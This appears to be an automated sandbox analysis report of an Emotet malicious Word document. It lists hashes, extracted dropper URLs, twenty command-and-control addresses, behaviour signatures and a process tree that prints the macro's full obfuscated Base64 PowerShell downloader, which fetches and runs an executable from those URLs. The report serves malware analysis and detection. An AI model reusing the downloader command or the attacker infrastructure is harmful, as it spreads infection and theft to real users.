Analysis

  • max time kernel
    137s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    28/08/2020, 12:09

General

  • Target
    emotet_e2_c4cda086323512134f845db4fcbec97b3eef21782d3378e21ed8e054886dc2ec_2020-08-28__120655._doc.doc
  • Size 218KB
  • Sample200828-aj2wagw2fj
  • SHA256 c4cda086323512134f845db4fcbec97b3eef21782d3378e21ed8e054886dc2ec
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://aboveandbelow.com.au/cgi-bin/Lbi20Tu/

  • exe.dropper

    https://amacshowerscreens.com.au/wp-includes/K5/

  • exe.dropper

    http://athleteacademy.net/wp-admin/VDDlV/

  • exe.dropper

    http://www.jayamelectronics.com/assets/TwgdI/

  • exe.dropper

    http://intelligence.com.sg/registration/JGX3I/

  • exe.dropper

    http://sorvetesbrotinho.com.br/novo/8edJm/

  • exe.dropper

    http://printed.com.mx/fonts/E6a/

Extracted

Family
  • emotet

C2
  • 172.91.208.86:80

  • 45.55.36.51:443

  • 91.83.93.99:7080

  • 45.55.219.163:443

  • 107.5.122.110:80

  • 103.86.49.11:8080

  • 85.105.205.77:8080

  • 120.150.60.189:80

  • 137.59.187.107:8080

  • 139.59.60.244:8080

  • 203.117.253.142:80

  • 1.221.254.82:80

  • 97.82.79.83:80

  • 37.187.72.193:8080

  • 139.99.158.11:443

  • 152.168.248.128:443

  • 74.208.45.104:8080

  • 83.169.36.251:8080

  • 169.239.182.217:8080

  • 216.208.76.186:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_c4cda086323512134f845db4fcbec97b3eef21782d3378e21ed8e054886dc2ec_2020-08-28__120655._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3488
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
    1⤵
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:1128
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABQADMAZAA4ADQAbgBpAD0AKAAnAFUAJwArACgAJwBmACcAKwAnADAAbQB3ACcAKwAnAHIAbAAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgBWADoAdABFAG0AcABcAFcATwByAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQBSAEUAQwB0AG8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAQwBgAFUAcgBpAGAAVABZAFAAUgBPAFQATwBjAGAAbwBsACIAIAA9ACAAKAAoACcAdABsAHMAMQAyACcAKwAnACwAIAAnACkAKwAnAHQAbAAnACsAJwBzADEAJwArACgAJwAxACwAJwArACcAIAB0ACcAKQArACcAbABzACcAKQA7ACQARQBsAHYAOQBmAGcAZwAgAD0AIAAoACgAJwBTAGsAcwAyACcAKwAnAGMAJwApACsAJwAxACcAKwAnADcAJwApADsAJABLAGwAMgA3AHgAOQB2AD0AKAAnAEYAcAAnACsAKAAnAGUAcAAnACsAJwBwADgAJwApACsAJwAzACcAKQA7ACQATQA2AGgANwBkAGsAOAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAewAwAH0AdwBvAHIAJwArACcAZAB7ADAAfQAnACsAJwAyACcAKwAnADAAMQA5AHsAMAB9ACcAKQAgAC0ARgBbAGMASABhAHIAXQA5ADIAKQArACQARQBsAHYAOQBmAGcAZwArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAFEAYwBkADkAbQB2ADkAPQAoACcAQQAnACsAKAAnAGoAagAnACsAJwA3AHkAcQAnACkAKwAnAGIAJwApADsAJABWAHMANgBfAHYAagB2AD0AJgAoACcAbgAnACsAJwBlAHcAJwArACcALQBvAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAHcARQBCAGMAbABpAGUAbgB0ADsAJABPAG0ANgA5AGgAaQA2AD0AKAAoACcAaAB0AHQAcAA6ACcAKwAnAC8ALwBhAGIAbwB2AGUAYQAnACsAJwBuACcAKwAnAGQAJwArACcAYgAnACsAJwBlAGwAbwAnACkAKwAoACcAdwAnACsAJwAuAGMAbwAnACsAJwBtAC4AYQAnACkAKwAoACcAdQAnACsAJwAvAGMAJwApACsAKAAnAGcAaQAtAGIAaQAnACsAJwBuACcAKwAnAC8ATABiACcAKwAnAGkAJwApACsAKAAnADIAJwArACcAMABUAHUALwAqAGgAdAB0AHAAJwArACcAcwAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAGEAbQAnACsAJwBhACcAKwAnAGMAcwBoAG8AJwApACsAJwB3AGUAJwArACgAJwByAHMAYwByACcAKwAnAGUAJwApACsAJwBlACcAKwAoACcAbgBzACcAKwAnAC4AJwApACsAJwBjACcAKwAoACcAbwBtACcAKwAnAC4AJwApACsAJwBhAHUAJwArACcALwB3ACcAKwAoACcAcAAtAGkAJwArACcAbgBjACcAKwAnAGwAJwApACsAKAAnAHUAZAAnACsAJwBlAHMALwAnACkAKwAoACcASwA1AC8AJwArACcAKgAnACkAKwAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwADoAJwArACgAJwAvACcAKwAnAC8AYQAnACkAKwAnAHQAJwArACcAaABsACcAKwAoACcAZQB0ACcAKwAnAGUAJwApACsAKAAnAGEAYwBhACcAKwAnAGQAJwApACsAKAAnAGUAbQAnACsAJwB5AC4AbgBlACcAKwAnAHQAJwApACsAKAAnAC8AdwAnACsAJwBwACcAKQArACgAJwAtACcAKwAnAGEAZABtAGkAJwArACcAbgAvAFYARABEACcAKQArACgAJwBsACcAKwAnAFYALwAqACcAKQArACcAaAAnACsAJwB0ACcAKwAoACcAdAAnACsAJwBwADoALwAnACkAKwAoACcALwB3ACcAKwAnAHcAdwAuAGoAJwArACcAYQAnACkAKwAoACcAeQBhAG0AZQBsACcAKwAnAGUAJwArACcAYwAnACkAKwAnAHQAJwArACcAcgAnACsAKAAnAG8AJwArACcAbgBpAGMAcwAuACcAKwAnAGMAbwAnACkAKwAnAG0ALwAnACsAKAAnAGEAJwArACcAcwBzAGUAdAAnACsAJwBzAC8AVAAnACkAKwAnAHcAZwAnACsAJwBkACcAKwAnAEkAJwArACgAJwAvACcAKwAnACoAaAB0AHQAcAAnACkAKwAnADoALwAnACsAKAAnAC8AJwArACcAaQBuAHQAJwArACcAZQBsAGwAaQAnACkAKwAoACcAZwBlACcAKwAnAG4AYwBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC4AcwAnACkAKwAnAGcALwAnACsAJwByACcAKwAoACcAZQAnACsAJwBnAGkAcwAnACkAKwAoACcAdAByACcAKwAnAGEAdABpACcAKQArACgAJwBvACcAKwAnAG4ALwAnACkAKwAnAEoARwAnACsAJwBYACcAKwAoACcAMwBJACcAKwAnAC8AKgBoACcAKQArACcAdAAnACsAKAAnAHQAJwArACcAcAA6ACcAKQArACgAJwAvAC8AcwAnACsAJwBvACcAKwAnAHIAdgAnACkAKwAoACcAZQB0AGUAJwArACcAcwBiAHIAbwAnACkAKwAnAHQAaQAnACsAKAAnAG4AaAAnACsAJwBvAC4AJwApACsAJwBjAG8AJwArACcAbQAuACcAKwAnAGIAJwArACgAJwByAC8AJwArACcAbgAnACsAJwBvAHYAbwAvADgAZQBkACcAKwAnAEoAbQAvACoAaAB0AHQAcAA6ACcAKwAnAC8AJwArACcALwAnACkAKwAnAHAAcgAnACsAKAAnAGkAbgAnACsAJwB0ACcAKQArACgAJwBlAGQALgAnACsAJwBjACcAKQArACgAJwBvAG0ALgBtACcAKwAnAHgALwBmACcAKQArACcAbwBuACcAKwAoACcAdAAnACsAJwBzAC8ARQAnACsAJwA2AGEALwAnACkAKQAuACIAcwBQAGAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABYADUAcwBzAHcAbQBzAD0AKAAnAE8AJwArACgAJwAzACcAKwAnAGUAZwBtADcAOAAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEoAbgB0ADIAaABzADQAIABpAG4AIAAkAE8AbQA2ADkAaABpADYAKQB7AHQAcgB5AHsAJABWAHMANgBfAHYAagB2AC4AIgBEAE8AVwBOAEwAYABvAEEAYABEAGAARgBpAGwAZQAiACgAJABKAG4AdAAyAGgAcwA0ACwAIAAkAE0ANgBoADcAZABrADgAKQA7ACQATQBvAGUAXwB3ADkAOQA9ACgAKAAnAEoAYgA3AG4AJwArACcAeQB6ACcAKQArACcAcwAnACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQATQA2AGgANwBkAGsAOAApAC4AIgBsAGAARQBuAGcAVABIACIAIAAtAGcAZQAgADMANQAyADAAMQApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACgAJABNADYAaAA3AGQAawA4ACkAOwAkAEYAdAB2AG8AawB0AGsAPQAoACgAJwBHAG4AJwArACcAdQAnACsAJwBxADMAbgAnACkAKwAnAGUAJwApADsAYgByAGUAYQBrADsAJABMAG8AawBsAGIAawA5AD0AKAAnAFEAJwArACgAJwBlAHUAJwArACcAcgAnACkAKwAoACcAZQBnACcAKwAnADcAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEoAMwBkAG0AbABvAGgAPQAoACcAVgBwACcAKwAoACcAbwAnACsAJwB2AG4AbwAnACkAKwAnAHcAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:776
    • C:\Users\Admin\AppData\Local\Temp\word\2019\Sks2c17.exe
      "C:\Users\Admin\AppData\Local\Temp\word\2019\Sks2c17.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1612
      • C:\Windows\SysWOW64\KBDJAV\mfnetcore.exe
        "C:\Windows\SysWOW64\KBDJAV\mfnetcore.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2244

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/776-6-0x00007FFCC7980000-0x00007FFCC836C000-memory.dmp

        memory/776-7-0x00000196329A0000-0x00000196329A1000-memory.dmp

        memory/776-8-0x0000019632B50000-0x0000019632B51000-memory.dmp

        memory/1612-12-0x00000000022A0000-0x00000000022AC000-memory.dmp

        memory/2244-15-0x0000000002170000-0x000000000217C000-memory.dmp

        memory/3488-0-0x00007FFCCEBC0000-0x00007FFCCF286000-memory.dmp

        memory/3488-5-0x000001CB5654A000-0x000001CB5655B000-memory.dmp